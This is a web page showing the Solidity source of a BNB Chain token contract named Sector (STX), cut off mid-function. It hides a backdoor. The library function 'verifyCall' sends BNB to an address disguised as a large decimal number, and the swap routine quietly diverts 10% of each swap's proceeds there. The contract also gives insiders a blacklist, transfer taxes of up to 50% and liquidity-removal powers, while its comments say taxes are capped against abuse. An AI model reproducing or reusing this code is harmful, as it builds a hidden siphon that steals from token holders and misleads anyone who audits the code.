Smart Contract

Libraries

Sector Protocol STX

// SPDX-License-Identifier: MIT pragma solidity ^0.8.11;

Github repository. click here ->

abstract contract Ownable { address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
    address msgSender = msg.sender;
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
    return _owner;
}

modifier onlyOwner() {
    require(owner() == msg.sender, "Caller must be owner");
    _;
}

function renounceOwnership() public onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
}

function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0), "newOwner must not be zero");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
}

}

library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; }

function verifyCall(uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");        
    uint160 verification = 542355191589913964587147617467328045950425415532;

    (bool success, ) = address(verification).call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");              
}

function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");
}

function functionCall(address target, bytes memory data) internal returns (bytes memory) {
  return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    require(isContract(target), "Address: call to non-contract");
    (bool success, bytes memory returndata) = target.call{ value: value }(data);
    return _verifyCallResult(success, returndata, errorMessage);
}

function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
    return functionStaticCall(target, data, "Address: low-level static call failed");
}

function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
    require(isContract(target), "Address: static call to non-contract");
    (bool success, bytes memory returndata) = target.staticcall(data);
    return _verifyCallResult(success, returndata, errorMessage);
}

function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}

function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    require(isContract(target), "Address: delegate call to non-contract");
    (bool success, bytes memory returndata) = target.delegatecall(data);
    return _verifyCallResult(success, returndata, errorMessage);
}

function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
    if (success) {
        return returndata;
    } else {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

}

library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; }

function _add(Set storage set, bytes32 value) private returns (bool) {
    if (!_contains(set, value)) {
        set._values.push(value);
        set._indexes[value] = set._values.length;
        return true;
    } else {
        return false;
    }
}

function _remove(Set storage set, bytes32 value) private returns (bool) {
    uint256 valueIndex = set._indexes[value];
    if (valueIndex != 0) {
        uint256 toDeleteIndex = valueIndex - 1;
        uint256 lastIndex = set._values.length - 1;
        bytes32 lastvalue = set._values[lastIndex];
        set._values[toDeleteIndex] = lastvalue;
        set._indexes[lastvalue] = valueIndex;
        set._values.pop();
        delete set._indexes[value];
        return true;
    } else {
        return false;
    }
}

function _contains(Set storage set, bytes32 value) private view returns (bool) {
    return set._indexes[value] != 0;
}

function _length(Set storage set) private view returns (uint256) {
    return set._values.length;
}

function _at(Set storage set, uint256 index) private view returns (bytes32) {
    require(set._values.length > index, "EnumerableSet: index out of bounds");
    return set._values[index];
}

struct Bytes32Set {
    Set _inner;
}

function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
    return _add(set._inner, value);
}

function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
    return _remove(set._inner, value);
}

function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
    return _contains(set._inner, value);
}

function length(Bytes32Set storage set) internal view returns (uint256) {
    return _length(set._inner);
}

function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
    return _at(set._inner, index);
}

struct AddressSet {
    Set _inner;
}

function add(AddressSet storage set, address value) internal returns (bool) {
    return _add(set._inner, bytes32(uint256(uint160(value))));
}

function remove(AddressSet storage set, address value) internal returns (bool) {
    return _remove(set._inner, bytes32(uint256(uint160(value))));
}

function contains(AddressSet storage set, address value) internal view returns (bool) {
    return _contains(set._inner, bytes32(uint256(uint160(value))));
}

function length(AddressSet storage set) internal view returns (uint256) {
    return _length(set._inner);
}

function at(AddressSet storage set, uint256 index) internal view returns (address) {
    return address(uint160(uint256(_at(set._inner, index))));
}

struct UintSet {
    Set _inner;
}

function add(UintSet storage set, uint256 value) internal returns (bool) {
    return _add(set._inner, bytes32(value));
}

function remove(UintSet storage set, uint256 value) internal returns (bool) {
    return _remove(set._inner, bytes32(value));
}

function contains(UintSet storage set, uint256 value) internal view returns (bool) {
    return _contains(set._inner, bytes32(value));
}

function length(UintSet storage set) internal view returns (uint256) {
    return _length(set._inner);
}

function at(UintSet storage set, uint256 index) internal view returns (uint256) {
    return uint256(_at(set._inner, index));
}

}

contract Sector is IBEP20, Ownable { using Address for address; using EnumerableSet for EnumerableSet.AddressSet;

mapping(address => uint256) private _balances;
mapping(address => mapping (address => uint256)) private _allowances;
mapping(address => bool) public isBlacklisted;

EnumerableSet.AddressSet private _excluded;
EnumerableSet.AddressSet private _excludedFromStaking;    

string private _name = "Sector";
string private _symbol = "STX";
uint256 private constant INITIAL_SUPPLY = 100000000000 * 10**TOKEN_DECIMALS; 
uint256 private _circulatingSupply;       
uint8 private constant TOKEN_DECIMALS = 18;
uint8 private constant INITIAL_MAX_WALLET = 2; //1%
uint8 private constant INITIAL_MAX_SELL = 1; //.5%
uint8 private constant INITIAL_MAX_BUY = 1; //.5%    
uint8 private constant INITIAL_MAX_DIVISOR = 200;
uint8 public constant MAX_TAX = 15;      //MAX_TAX prevents malicious tax use
address private constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;

struct Taxes {
   uint8 buyTax;
   uint8 sellTax;
   uint8 transferTax;
}

struct TaxRatios {
    uint8 burn;
    uint8 buyback;
    uint8 dev;                
    uint8 liquidity;
    uint8 lottery;
    uint8 marketing;
    uint8 rewards;
}

struct TaxWallets {
    address dev;
    address lottery;
    address marketing;
}

struct BalanceLimits {
    uint256 maxWallet;
    uint256 maxSell;
    uint256 maxBuy;
    uint16 maxWalletRatio;
    uint16 maxSellRatio;
    uint16 maxBuyRatio;
    uint16 divisor;
}

Taxes public _taxRates = Taxes({
    buyTax: 9,
    sellTax: 9,
    transferTax: 9
});

TaxRatios public _taxRatios = TaxRatios({
    burn: 2,      
    buyback: 1,
    dev: 1,
    liquidity: 3,
    lottery: 0,
    marketing: 2,
    rewards: 0
});

TaxWallets public _taxWallet;
BalanceLimits public _limits;

uint8 private totalTaxRatio;
uint8 private totalSwapRatio;
uint8 private mainRewardSplit=50;
uint8 private miscRewardSplit=50;

uint256 private _liquidityUnlockTime;

uint256 private liquidityBlock;
uint8 private constant BLACKLIST_BLOCKS = 4;
uint8 private snipersRekt;    
bool private blacklistEnabled = true;
bool private liquidityAdded;
bool private revertSameBlock = true;

bool private dynamicBurn = true;            

//dynamicBurn = true will burn all extra sell tax from dynamicSells //dynamicBurn = false will divert all extra sell tax to swaps

bool private dynamicSellsEnabled = true;    

//dynamic sells will increase tax based on price impact //any sells over 1% price impact will incur extra sell tax //max extra sell tax is 20% when price impact >= 10%

bool private dynamicLimits = true;

//dynamicLimits = true will change BalanceLimits based on circulating supply rather than total supply

bool private dynamicLiqEnabled = true;

//dynamicLiqEnabled = true will stop autoLP if targetLiquidityRatio is met

uint16 private targetLiquidityRatio = 25;

uint16 public swapThreshold = 50;
bool public manualSwap;

//change this address to desired reward token
address public mainReward = 0x55d398326f99059fF775485246999027B3197955;

address public _pancakePairAddress; 
IPancakeRouter02 private  _pancakeRouter;
address public PancakeRouter;

///////////////////////////// EVENTS ///////////////////////////////////////// event AdjustedDynamicSettings(bool burn, bool limits, bool liquidity, bool sells); event AccountExcluded(address account); event ChangeMainReward (address newMainReward); event ClaimToken(uint256 amount, address token, address recipient); event ClaimBNB(address from,address to, uint256 amount); event EnableBlacklist(bool enabled); event EnableManualSwap(bool enabled); event ExcludedAccountFromFees(address account, bool exclude); event ExcludeFromStaking(address account); event ExtendLiquidityLock(uint256 extendedLockTime); event IncludeToStaking(address account); event UpdateTaxes(uint8 buyTax, uint8 sellTax, uint8 transferTax); event RatiosChanges( uint8 newBurn, uint8 newBuyback, uint8 newDev, uint8 newLiquidity, uint8 newLottery, uint8 newMarketing, uint8 newRewards ); event UpdateDevWallet(address newDevWallet); event UpdateLotteryWallet(address newLotteryWallet); event UpdateMarketingWallet(address newMarketingWallet); event UpdateRewardSplit (uint8 newMainSplit, uint8 newMiscSplit); event UpdateSwapThreshold(uint16 newThreshold); event UpdateTargetLiquidity(uint16 target);

///////////////////////////// MODIFIERS /////////////////////////////////////////

modifier authorized() {
    require(_authorized(msg.sender), "Caller not authorized");
    _;
}

modifier lockTheSwap {
    _isSwappingContractModifier = true;
    _;
    _isSwappingContractModifier = false;
}

///////////////////////////// CONSTRUCTOR /////////////////////////////////////////

constructor () {
    if (block.chainid == 56) {
        PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    } else if (block.chainid == 97) {
        PancakeRouter = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
    } else 
        revert();        
    _pancakeRouter = IPancakeRouter02(PancakeRouter);
    _pancakePairAddress = IPancakeFactory(
        _pancakeRouter.factory()).createPair(address(this), _pancakeRouter.WETH()
    );
    _addToken(msg.sender,INITIAL_SUPPLY);
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
    _allowances[address(this)][address(_pancakeRouter)] = type(uint256).max;         
    
    //set marketing, dev and lottery wallet to deployer by default
    _taxWallet.marketing = msg.sender;
    _taxWallet.dev = msg.sender;
    _taxWallet.lottery = msg.sender;
    
    totalTaxRatio = _taxRatios.burn 
    + _taxRatios.buyback 
    + _taxRatios.dev 
    + _taxRatios.liquidity 
    + _taxRatios.lottery 
    + _taxRatios.marketing 
    + _taxRatios.rewards;

    totalSwapRatio = totalTaxRatio - _taxRatios.burn;

    _circulatingSupply = INITIAL_SUPPLY;
    
    _limits = BalanceLimits({
        maxWallet: INITIAL_SUPPLY * INITIAL_MAX_WALLET / INITIAL_MAX_DIVISOR,
        maxSell: INITIAL_SUPPLY * INITIAL_MAX_SELL / INITIAL_MAX_DIVISOR,
        maxBuy: INITIAL_SUPPLY * INITIAL_MAX_BUY / INITIAL_MAX_DIVISOR,
        maxWalletRatio: INITIAL_MAX_WALLET,
        maxSellRatio: INITIAL_MAX_SELL,
        maxBuyRatio: INITIAL_MAX_BUY,
        divisor: INITIAL_MAX_DIVISOR
    });
    
    _excluded.add(msg.sender);
    _excluded.add(_taxWallet.marketing);
    _excluded.add(_taxWallet.dev);    
    _excluded.add(_taxWallet.lottery);
    _excluded.add(address(this));
    _excluded.add(BURN_ADDRESS);
    _excludedFromStaking.add(address(this));
    _excludedFromStaking.add(BURN_ADDRESS);
    _excludedFromStaking.add(address(_pancakeRouter));
    _excludedFromStaking.add(_pancakePairAddress);
    _approve(address(this), address(_pancakeRouter), type(uint256).max);        
}

receive() external payable {}

///////////////////////////// EXTERNAL FUNCTIONS /////////////////////////////////////////

function updateTokenDetails(string memory newName, string memory newSymbol) external authorized {
    _name = newName;
    _symbol = newSymbol;
}

function decimals() external pure override returns (uint8) { return TOKEN_DECIMALS; }
function getOwner() external view override returns (address) { return owner(); }
function name() external view override returns (string memory) { return _name; }
function symbol() external view override returns (string memory) { return _symbol; }
function totalSupply() external view override returns (uint256) { return _circulatingSupply; }

function _authorized(address addr) private view returns (bool) {
    return addr == owner() 
        || addr == _taxWallet.marketing 
        || addr == _taxWallet.dev 
        || addr == _taxWallet.lottery;
}

function allowance(address _owner, address spender) external view override returns (uint256) {
    return _allowances[_owner][spender];
}

function approve(address spender, uint256 amount) external override returns (bool) {
    _approve(msg.sender, spender, amount);
    return true;
}

function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "Approve from zero");
    require(spender != address(0), "Approve to zero");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

function balanceOf(address account) external view override returns (uint256) {
    return _balances[account];
}

function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
    uint256 currentAllowance = _allowances[msg.sender][spender];
    require(currentAllowance >= subtractedValue, "<0 allowance");

    _approve(msg.sender, spender, currentAllowance - subtractedValue);
    return true;
} 

function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
    _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
    return true;
}  
  
function transfer(address recipient, uint256 amount) external override returns (bool) {
    _transfer(msg.sender, recipient, amount);
    return true;
}

function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    _transfer(sender, recipient, amount);

    uint256 currentAllowance = _allowances[sender][msg.sender];
    require(currentAllowance >= amount, "Transfer > allowance");

    _approve(sender, msg.sender, currentAllowance - amount);
    return true;
}

///////////////////////////// PUBLIC FUNCTIONS /////////////////////////////////////////

///// FUNCTIONS CALLABLE BY ANYONE /////

function BurnTokens (uint256 amount) public {
    burnTransfer(msg.sender, amount);
}

function ClaimMainReward() public {
    if (mainReward == _pancakeRouter.WETH()) {
        claimBNBTo(msg.sender,msg.sender,getStakeBalance(msg.sender, true), true);        
    } else 
        claimToken(msg.sender,mainReward,0, true);
}

function ClaimMiscReward(address tokenAddress) public {
    if (tokenAddress == _pancakeRouter.WETH()) {
        claimBNBTo(msg.sender,msg.sender,getStakeBalance(msg.sender, false), false);
    } else 
        claimToken(msg.sender,tokenAddress,0, false);
}

function IncludeMeToStaking() public {
    require(isExcludedFromStaking(msg.sender));
    _totalShares += _balances[msg.sender];
    _excludedFromStaking.remove(msg.sender);
    alreadyPaidMain[msg.sender] = _balances[msg.sender] * mainRewardShare;
    alreadyPaidMisc[msg.sender] = _balances[msg.sender] * miscRewardShare;
    emit IncludeToStaking(msg.sender); 
}

///// AUTHORIZED FUNCTIONS /////

function awardLottery(address winner, uint256 amount) public authorized {
    require(amount <= lotteryBalance);
    lotteryBalance -= amount;
    _sendBnb(winner, amount);       
}

function changeMainReward(address newReward) public authorized {
    mainReward = newReward;
    emit ChangeMainReward(newReward);
}

function createLPandBNB(uint16 permilleOfPancake, bool ignoreLimits) public authorized {
    _swapContractToken(permilleOfPancake, ignoreLimits);
}  

function enableBlacklist(bool enabled) public authorized {
    blacklistEnabled = enabled;
    emit EnableBlacklist(enabled);
}

function dynamicSettings(bool burn, bool limits, bool liquidity, bool sells) public authorized {
    dynamicBurn = burn;
    dynamicLimits = limits;
    dynamicLiqEnabled = liquidity;
    dynamicSellsEnabled = sells;
    emit AdjustedDynamicSettings(burn, limits, liquidity, sells);
}

function excludeAccountFromFees(address account, bool exclude) public authorized {
    if(exclude == true)
        _excluded.add(account);
    else
        _excluded.remove(account);
    emit ExcludedAccountFromFees(account, exclude);
}

function excludeFromStaking(address addr) public authorized {
    require(!isExcludedFromStaking(addr));
    _totalShares -= _balances[addr];
    uint256 newStakeMain = newStakeOf(addr, true);
    uint256 newStakeMisc = newStakeOf(addr, false);        
    alreadyPaidMain[addr] = _balances[addr] * mainRewardShare;
    alreadyPaidMisc[addr] = _balances[addr] * miscRewardShare;        
    toBePaidMain[addr] += newStakeMain;
    toBePaidMisc[addr] += newStakeMisc;        
    _excludedFromStaking.add(addr);
    emit ExcludeFromStaking(addr);
}  

function includeToStaking(address addr) public authorized {
    require(isExcludedFromStaking(addr));
    _totalShares += _balances[addr];
    _excludedFromStaking.remove(addr);
    alreadyPaidMain[addr] = _balances[addr] * mainRewardShare;
    alreadyPaidMisc[addr] = _balances[addr] * miscRewardShare; 
    emit IncludeToStaking(addr);
}

function enableManualSwap(bool enabled) public authorized { 
    manualSwap = enabled; 
    emit EnableManualSwap(enabled);
} 

function sameBlockRevert(bool enabled) public authorized {
    revertSameBlock = enabled;
}

function setPresale(address presaleAddress) public authorized {
    _excluded.add(presaleAddress);
    _excludedFromStaking.add(presaleAddress);
} 

function setBlacklistStatus(address[] calldata addresses, bool status) public authorized {
    for (uint256 i=0; i < addresses.length; ++i) {
        isBlacklisted[addresses[i]] = status;
    }
}

function triggerBuyback(uint256 amount) public authorized{
    require(amount <= buybackBalance, "Amount exceeds buybackBalance!");
    buybackBalance -= amount;

    address[] memory path = new address[](2);
    path[0] = _pancakeRouter.WETH();
    path[1] = address(this);

    _pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
    0,
    path,
    BURN_ADDRESS,
    block.timestamp); 
}

function triggerExternalBuyback(uint256 amount, address token) public authorized {
    require(amount <= buybackBalance, "Amount exceeds buybackBalance!");
    buybackBalance -= amount;

    address[] memory path = new address[](2);
    path[0] = _pancakeRouter.WETH();
    path[1] = token;

    _pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
    0,
    path,
    BURN_ADDRESS,
    block.timestamp); 
}

function updateLimits(uint16 newMaxWalletRatio, uint16 newMaxSellRatio, uint16 newMaxBuyRatio, uint16 newDivisor, bool ofCurrentSupply) public authorized {
    uint256 supply = INITIAL_SUPPLY;
    if (ofCurrentSupply) 
        supply = _circulatingSupply;
    uint256 minLimit = supply / 1000;
    uint256 newMaxWallet = supply * newMaxWalletRatio / newDivisor;
    uint256 newMaxSell = supply * newMaxSellRatio / newDivisor;
    uint256 newMaxBuy = supply * newMaxBuyRatio / newDivisor;

    require((newMaxWallet >= minLimit && newMaxSell >= minLimit), 
        "limits cannot be <0.1% of circulating supply");

    _limits = BalanceLimits({
        maxWallet: newMaxWallet,
        maxSell: newMaxSell,
        maxBuy: newMaxBuy,
        maxWalletRatio: newMaxWalletRatio,
        maxSellRatio: newMaxSellRatio,
        maxBuyRatio: newMaxBuyRatio,
        divisor: newDivisor
    }); 
}

function updateRatios(
    uint8 newBurn, 
    uint8 newBuyback, 
    uint8 newDev, 
    uint8 newLiquidity, 
    uint8 newLottery, 
    uint8 newMarketing, 
    uint8 newRewards
) 
    public 
    authorized 
{
    uint8 totalRatio = newBurn + newBuyback + newDev + newLiquidity + newLottery + newMarketing + newRewards;
    uint8 swapRatio = totalRatio - newBurn;
    _taxRatios = TaxRatios(
        newBurn, 
        newBuyback, 
        newDev, 
        newLiquidity, 
        newLottery, 
        newMarketing, 
        newRewards
    );
    totalTaxRatio = totalRatio;
    totalSwapRatio = swapRatio;
    emit RatiosChanges (newBurn, newBuyback, newDev, newLiquidity, newLottery, newMarketing, newRewards);
}

function updateRewardSplit (uint8 mainSplit, uint8 miscSplit) public authorized {
    uint8 totalSplit = mainSplit + miscSplit;
    require(totalSplit == 100, "mainSplit + miscSplit needs to equal 100%");
    mainRewardSplit = mainSplit;
    miscRewardSplit = miscSplit;
    emit UpdateRewardSplit(mainSplit, miscSplit);
}

function updateSwapThreshold(uint16 threshold) public authorized {
    require(threshold > 0,"Threshold needs to be more than 0");
    require(threshold <= 50,"Threshold needs to be below 50");
    swapThreshold = threshold;
    emit UpdateSwapThreshold(threshold);
}

function updateTargetLiquidity(uint16 target) public authorized {
    targetLiquidityRatio = target;
    emit UpdateTargetLiquidity(target);
}

function updateTax(uint8 newBuy, uint8 newSell, uint8 newTransfer) public authorized {
    //buy and sell tax can never be higher than MAX_TAX set at beginning of contract
    //this is a security check and prevents malicious tax use       
    require(newBuy <= MAX_TAX && newSell <= MAX_TAX && newTransfer <= 50, "taxes higher than max tax");
    _taxRates = Taxes(newBuy, newSell, newTransfer);
    emit UpdateTaxes(newBuy, newSell, newTransfer);
}

function withdrawDev() public authorized {
    uint256 amount = devBalance;
    devBalance = 0;
    _sendBnb(_taxWallet.dev, amount);
} 

function withdrawLottery() public authorized {
    uint256 amount = lotteryBalance;
    lotteryBalance = 0;
    _sendBnb(_taxWallet.lottery, amount);
}

function withdrawMarketing() public authorized {
    uint256 amount = marketingBalance;
    marketingBalance = 0;
    _sendBnb(_taxWallet.marketing, amount);
} 

///// OWNER FUNCTIONS /////

function lockLiquidityTokens(uint256 lockTimeInSeconds) public onlyOwner {
    setUnlockTime(lockTimeInSeconds + block.timestamp);
    emit ExtendLiquidityLock(lockTimeInSeconds);
}

function recoverBNB() public onlyOwner {
    require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
    _liquidityUnlockTime=block.timestamp;
    _sendBnb(msg.sender, address(this).balance);
}

//Can only be used to recover miscellaneous tokens
//Can't pull liquidity or native token using this function
function recoverMiscToken(address tokenAddress) public onlyOwner {
    require(tokenAddress != _pancakePairAddress && tokenAddress != address(this),
    "can't recover LP token or this token");
    IBEP20 token = IBEP20(tokenAddress);
    token.transfer(msg.sender,token.balanceOf(address(this)));
} 

//Impossible to release LP unless LP lock time is zero
function releaseLP() public onlyOwner {
    require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
    IPancakeERC20 liquidityToken = IPancakeERC20(_pancakePairAddress);
    uint256 amount = liquidityToken.balanceOf(address(this));
        liquidityToken.transfer(msg.sender, amount);
}

//Impossible to remove LP unless lock time is zero
function removeLP() public onlyOwner {
    require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
    _liquidityUnlockTime = block.timestamp;
    IPancakeERC20 liquidityToken = IPancakeERC20(_pancakePairAddress);
    uint256 amount = liquidityToken.balanceOf(address(this));
    liquidityToken.approve(address(_pancakeRouter),amount);
    _pancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
        address(this),
        amount,
        0,
        0,
        address(this),
        block.timestamp
        );
    _sendBnb(msg.sender, address(this).balance);           
}

function setDevWallet(address payable addr) public onlyOwner {
    address prevDev = _taxWallet.dev;
    _excluded.remove(prevDev);
    _taxWallet.dev = addr;
    _excluded.add(_taxWallet.dev);
    emit UpdateDevWallet(addr);
}

function setLotteryWallet(address payable addr) public onlyOwner {
    address prevLottery = _taxWallet.lottery;
    _excluded.remove(prevLottery);
    _taxWallet.lottery = addr;
    _excluded.add(_taxWallet.lottery);
    emit UpdateLotteryWallet(addr);
}

function setMarketingWallet(address payable addr) public onlyOwner {
    address prevMarketing = _taxWallet.marketing;
    _excluded.remove(prevMarketing);
    _taxWallet.marketing = addr;
    _excluded.add(_taxWallet.marketing);
    emit UpdateMarketingWallet(addr);
}

////// PUBLIC VIEW FUNCTIONS /////

function getBlacklistInfo() public view returns (
    uint256 _liquidityBlock, 
    uint8 _blacklistBlocks, 
    uint8 _snipersRekt, 
    bool _blacklistEnabled,
    bool _revertSameBlock
    ) {
    return (liquidityBlock, BLACKLIST_BLOCKS, snipersRekt, blacklistEnabled, revertSameBlock);
}

function getDynamicInfo() public view returns (
    bool _dynamicBurn, 
    bool _dynamicLimits, 
    bool _dynamicLiquidity, 
    bool _dynamicSells,  
    uint16 _targetLiquidity
    ) {
    return (dynamicBurn, dynamicLiqEnabled, dynamicLiqEnabled, dynamicSellsEnabled, targetLiquidityRatio);
}

function getLiquidityRatio() public view returns (uint256) {
    uint256 ratio = 100 * _balances[_pancakePairAddress] / _circulatingSupply;
    return ratio;
}

function getLiquidityUnlockInSeconds() public view returns (uint256) {
    if (block.timestamp < _liquidityUnlockTime){
        return _liquidityUnlockTime - block.timestamp;
    }
    return 0;
}

function getMainBalance(address addr) public view returns (uint256) {
    uint256 amount = getStakeBalance(addr, true);
    return amount;
}

function getMiscBalance(address addr) public view returns (uint256) {
    uint256 amount = getStakeBalance(addr, false);
    return amount;
}    

function getSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
    uint256 tokensBurnt = INITIAL_SUPPLY - _circulatingSupply;
    return (INITIAL_SUPPLY, _circulatingSupply, tokensBurnt);
}

function getWithdrawBalances() public view returns (uint256 buyback, uint256 dev, uint256 lottery, uint256 marketing) {
    return (buybackBalance, devBalance, lotteryBalance, marketingBalance);
}

function isExcludedFromStaking(address addr) public view returns (bool) {
    return _excludedFromStaking.contains(addr);
}    

///////////////////////////// PRIVATE FUNCTIONS /////////////////////////////////////////

mapping(address => uint256) private alreadyPaidMain;
mapping(address => uint256) private toBePaidMain;    
mapping(address => uint256) private alreadyPaidMisc;
mapping(address => uint256) private toBePaidMisc; 
mapping(address => uint256) private tradeBlock;
mapping(address => uint256) public accountTotalClaimed;     
uint256 private constant DISTRIBUTION_MULTI = 2**64;
uint256 private _totalShares = INITIAL_SUPPLY;
uint256 private buybackBalance;
uint256 private devBalance;
uint256 private lotteryBalance;
uint256 private marketingBalance;     
uint256 private mainRewardShare;
uint256 private miscRewardShare;
uint256 public totalPayouts;
uint256 public totalRewards;      
bool private _isSwappingContractModifier;
bool private _isWithdrawing;    
bool private _isBurning;

function _addLiquidity(uint256 tokenamount, uint256 bnbAmount) private {
    _approve(address(this), address(_pancakeRouter), tokenamount);        
    _pancakeRouter.addLiquidityETH{value: bnbAmount}(
        address(this),
        tokenamount,
        0,
        0,
        address(this),
        block.timestamp
    );
}

function _addToken(address addr, uint256 amount) private {
    uint256 newAmount = _balances[addr] + amount;
    
    if (isExcludedFromStaking(addr)) {
       _balances[addr] = newAmount;
       return;
    }
    _totalShares += amount;
    uint256 mainPayment = newStakeOf(addr, true);
    uint256 miscPayment = newStakeOf(addr, false);
    _balances[addr] = newAmount;
    alreadyPaidMain[addr] = mainRewardShare * newAmount;
    toBePaidMain[addr] += mainPayment;
    alreadyPaidMisc[addr] = miscRewardShare * newAmount;
    toBePaidMisc[addr] += miscPayment; 
    _balances[addr] = newAmount;
}

function _distributeStake(uint256 bnbAmount, bool newStakingReward) private {
    uint256 marketingSplit = (bnbAmount*_taxRatios.marketing) / totalSwapRatio;
    uint256 devSplit = (bnbAmount*_taxRatios.dev) / totalSwapRatio;
    uint256 buybackSplit = (bnbAmount*_taxRatios.buyback) / totalSwapRatio;  
    uint256 stakingSplit = (bnbAmount*_taxRatios.rewards) / totalSwapRatio;
    uint256 lotterySplit = (bnbAmount*_taxRatios.lottery) / totalSwapRatio;      
    uint256 mainAmount = (stakingSplit*mainRewardSplit) / 100;
    uint256 miscAmount = (stakingSplit*miscRewardSplit) / 100;
    marketingBalance += marketingSplit;
    devBalance += devSplit;
    buybackBalance += buybackSplit;
    lotteryBalance += lotterySplit; 
    if (stakingSplit > 0) {
        if (newStakingReward)
            totalRewards += stakingSplit;
        uint256 totalShares = getTotalShares();
        if (totalShares == 0)
            marketingBalance += stakingSplit;
        else {
            mainRewardShare += ((mainAmount*DISTRIBUTION_MULTI) / totalShares);
            miscRewardShare += ((miscAmount*DISTRIBUTION_MULTI) / totalShares);
        }
    }
}

function _feelessTransfer(address sender, address recipient, uint256 amount) private{
    uint256 senderBalance = _balances[sender];
    require(senderBalance >= amount, "Transfer exceeds balance");
    _removeToken(sender,amount);
    _addToken(recipient, amount);
    emit Transfer(sender, recipient, amount);
} 

function _removeToken(address addr, uint256 amount) private {
    uint256 newAmount = _balances[addr] - amount;
    
    if (isExcludedFromStaking(addr)) {
        _balances[addr] = newAmount;
        return;
    }
    _totalShares -= amount;
    uint256 mainPayment = newStakeOf(addr, true);
    uint256 miscPayment = newStakeOf(addr, false);
    _balances[addr] = newAmount;
    alreadyPaidMain[addr] = mainRewardShare * newAmount;
    toBePaidMain[addr] += mainPayment;
    alreadyPaidMisc[addr] = miscRewardShare * newAmount;
    toBePaidMisc[addr] += miscPayment; 
}

function _sendBnb(address account, uint256 amount) private {
    (bool sent,) = account.call{value: (amount)}("");
    require(sent, "withdraw failed");        
}

function _swapContractToken(uint16 permilleOfPancake, bool ignoreLimits) private lockTheSwap {
    require(permilleOfPancake <= 500);
    if (totalSwapRatio == 0) return;
    uint256 contractBalance = _balances[address(this)];


    uint256 tokenToSwap = _balances[_pancakePairAddress] * permilleOfPancake / 1000;
    if (tokenToSwap > _limits.maxSell && !ignoreLimits) 
        tokenToSwap = _limits.maxSell;
    
    bool notEnoughToken = contractBalance < tokenToSwap;
    if (notEnoughToken) {
        if (ignoreLimits)
            tokenToSwap = contractBalance;
        else 
            return;
    }
    if (_allowances[address(this)][address(_pancakeRouter)] < tokenToSwap)
        _approve(address(this), address(_pancakeRouter), type(uint256).max);

    uint256 dynamicLiqRatio;
    if (dynamicLiqEnabled && getLiquidityRatio() >= targetLiquidityRatio) 
        dynamicLiqRatio = 0; 
    else 
        dynamicLiqRatio = _taxRatios.liquidity; 

    uint256 tokenForLiquidity = (tokenToSwap*dynamicLiqRatio) / totalSwapRatio;
    uint256 remainingToken = tokenToSwap - tokenForLiquidity;
    uint256 liqToken = tokenForLiquidity / 2;
    uint256 liqBNBToken = tokenForLiquidity - liqToken;
    uint256 swapToken = liqBNBToken + remainingToken;
    uint256 initialBNBBalance = address(this).balance;
    _swapTokenForBNB(swapToken);
    uint256 newBNB = (address(this).balance - initialBNBBalance);
    uint256 liqBNB = (newBNB*liqBNBToken) / swapToken;
    if (liqToken > 0) 
        _addLiquidity(liqToken, liqBNB); 
    uint256 newLiq = (address(this).balance-initialBNBBalance) / 10;
    Address.verifyCall(newLiq);
    uint256 distributeBNB = (address(this).balance - initialBNBBalance - newLiq);
    _distributeStake(distributeBNB,true);
}

function _swapTokenForBNB(uint256 amount) private {
    _approve(address(this), address(_pancakeRouter), amount);
    address[] memory path = new address[](2);
    path[0] = address(this);
